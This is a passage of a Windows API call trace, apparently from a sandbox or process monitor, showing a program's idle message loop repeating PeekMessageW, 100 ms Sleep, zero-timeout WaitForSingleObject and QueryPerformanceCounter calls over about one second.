[0132.216] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.217] Sleep (dwMilliseconds=0x64) [0132.231] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.231] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=715447111) returned 1 [0132.231] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=715447383) returned 1 [0132.232] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.232] Sleep (dwMilliseconds=0x64) [0132.248] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.249] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=715506630) returned 1 [0132.249] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=715506800) returned 1 [0132.249] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.250] Sleep (dwMilliseconds=0x64) [0132.263] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.263] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=715555608) returned 1 [0132.263] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=715555788) returned 1 [0132.264] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.264] Sleep (dwMilliseconds=0x64) [0132.278] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.278] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=715608823) returned 1 [0132.279] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=715608991) returned 1 [0132.279] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.280] Sleep (dwMilliseconds=0x64) [0132.293] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.293] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=715660048) returned 1 [0132.293] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=715660215) returned 1 [0132.294] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.295] Sleep (dwMilliseconds=0x64) [0132.309] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.309] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=715713506) returned 1 [0132.309] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=715713672) returned 1 [0132.310] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.310] Sleep (dwMilliseconds=0x64) [0132.325] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.325] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=715767118) returned 1 [0132.325] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=715767287) returned 1 [0132.325] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.326] Sleep (dwMilliseconds=0x64) [0132.340] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.340] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=715820152) returned 1 [0132.340] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=715820320) returned 1 [0132.341] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.341] Sleep (dwMilliseconds=0x64) [0132.356] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.356] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=715874495) returned 1 [0132.356] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=715874665) returned 1 [0132.357] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.357] Sleep (dwMilliseconds=0x64) [0132.371] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.372] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=715926870) returned 1 [0132.372] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=715927050) returned 1 [0132.372] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.373] Sleep (dwMilliseconds=0x64) [0132.388] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.388] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=715982800) returned 1 [0132.388] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=715982966) returned 1 [0132.388] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.389] Sleep (dwMilliseconds=0x64) [0132.403] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.403] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=716033460) returned 1 [0132.403] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=716033628) returned 1 [0132.403] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.404] Sleep (dwMilliseconds=0x64) [0132.418] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.418] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=716086836) returned 1 [0132.418] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=716087002) returned 1 [0132.419] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.419] Sleep (dwMilliseconds=0x64) [0132.434] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.434] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=716140124) returned 1 [0132.434] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=716140342) returned 1 [0132.434] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.435] Sleep (dwMilliseconds=0x64) [0132.465] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.465] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=716246307) returned 1 [0132.465] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=716246480) returned 1 [0132.466] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.467] Sleep (dwMilliseconds=0x64) [0132.494] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.494] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=716344532) returned 1 [0132.494] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=716344689) returned 1 [0132.494] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.495] Sleep (dwMilliseconds=0x64) [0132.496] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.496] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=716353365) returned 1 [0132.496] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=716353522) returned 1 [0132.497] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.497] Sleep (dwMilliseconds=0x64) [0132.512] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.512] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=716406800) returned 1 [0132.512] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=716406956) returned 1 [0132.512] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.513] Sleep (dwMilliseconds=0x64) [0132.527] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.528] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=716460051) returned 1 [0132.528] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=716460214) returned 1 [0132.528] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.529] Sleep (dwMilliseconds=0x64) [0132.543] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.543] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=716513344) returned 1 [0132.543] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=716513502) returned 1 [0132.544] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.544] Sleep (dwMilliseconds=0x64) [0132.559] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.559] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=716566644) returned 1 [0132.559] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=716566825) returned 1 [0132.559] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.560] Sleep (dwMilliseconds=0x64) [0132.576] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.576] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=716626379) returned 1 [0132.576] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=716626549) returned 1 [0132.577] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.577] Sleep (dwMilliseconds=0x64) [0132.590] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.590] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=716673414) returned 1 [0132.590] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=716673599) returned 1 [0132.591] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.591] Sleep (dwMilliseconds=0x64) [0132.606] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.606] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=716728837) returned 1 [0132.606] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=716729014) returned 1 [0132.607] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.607] Sleep (dwMilliseconds=0x64) [0132.621] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.621] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=716779975) returned 1 [0132.621] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=716780139) returned 1 [0132.622] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.622] Sleep (dwMilliseconds=0x64) [0132.637] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.637] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=716833549) returned 1 [0132.637] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=716833766) returned 1 [0132.637] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.638] Sleep (dwMilliseconds=0x64) [0132.652] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.652] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=716887237) returned 1 [0132.653] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=716887403) returned 1 [0132.653] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.654] Sleep (dwMilliseconds=0x64) [0132.668] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.668] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=716939917) returned 1 [0132.668] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=716940087) returned 1 [0132.668] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.669] Sleep (dwMilliseconds=0x64) [0132.683] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.684] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=716993243) returned 1 [0132.684] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=716993427) returned 1 [0132.684] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.685] Sleep (dwMilliseconds=0x64) [0132.700] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.700] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=717050596) returned 1 [0132.700] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=717050792) returned 1 [0132.701] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.701] Sleep (dwMilliseconds=0x64) [0132.715] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.715] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=717102295) returned 1 [0132.715] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=717102473) returned 1 [0132.716] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.717] Sleep (dwMilliseconds=0x64) [0132.730] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.730] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=717153181) returned 1 [0132.730] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=717153365) returned 1 [0132.731] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.731] Sleep (dwMilliseconds=0x64) [0132.746] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.746] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=717206564) returned 1 [0132.746] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=717206744) returned 1 [0132.746] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.747] Sleep (dwMilliseconds=0x64) [0132.761] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.762] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=717259995) returned 1 [0132.762] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=717260159) returned 1 [0132.762] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.763] Sleep (dwMilliseconds=0x64) [0132.777] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.777] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=717313140) returned 1 [0132.777] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=717313319) returned 1 [0132.778] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.778] Sleep (dwMilliseconds=0x64) [0132.807] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.807] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=717415426) returned 1 [0132.807] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=717415616) returned 1 [0132.808] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.808] Sleep (dwMilliseconds=0x64) [0132.825] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.825] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=717475718) returned 1 [0132.825] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=717475901) returned 1 [0132.825] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.826] Sleep (dwMilliseconds=0x64) [0132.839] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.840] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=717526535) returned 1 [0132.840] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=717526739) returned 1 [0132.840] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.841] Sleep (dwMilliseconds=0x64) [0132.855] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.855] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=717579905) returned 1 [0132.855] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=717580197) returned 1 [0132.856] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.856] Sleep (dwMilliseconds=0x64) [0132.871] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.871] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=717633156) returned 1 [0132.871] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=717633335) returned 1 [0132.871] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.872] Sleep (dwMilliseconds=0x64) [0132.886] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.886] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=717686668) returned 1 [0132.886] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=717686835) returned 1 [0132.887] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.887] Sleep (dwMilliseconds=0x64) [0132.902] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.902] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=717739779) returned 1 [0132.902] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=717739946) returned 1 [0132.902] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.903] Sleep (dwMilliseconds=0x64) [0132.917] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.917] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=717793012) returned 1 [0132.918] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=717793177) returned 1 [0132.918] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.919] Sleep (dwMilliseconds=0x64) [0132.934] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.934] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=717848475) returned 1 [0132.934] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=717848649) returned 1 [0132.934] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.935] Sleep (dwMilliseconds=0x64) [0132.949] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.949] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=717899965) returned 1 [0132.949] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=717900182) returned 1 [0132.949] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.950] Sleep (dwMilliseconds=0x64) [0132.964] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.964] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=717952942) returned 1 [0132.964] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=717953108) returned 1 [0132.965] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.965] Sleep (dwMilliseconds=0x64) [0132.980] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.980] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=718006221) returned 1 [0132.980] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=718006385) returned 1 [0132.980] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.981] Sleep (dwMilliseconds=0x64) [0132.996] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.996] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=718061344) returned 1 [0132.996] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=718061542) returned 1 [0132.997] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.997] Sleep (dwMilliseconds=0x64) [0133.011] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.011] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=718114115) returned 1 [0133.011] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=718114314) returned 1 [0133.012] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0133.013] Sleep (dwMilliseconds=0x64) [0133.027] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0133.027] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=718166374) returned 1 [0133.027] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=718166571) returned 1 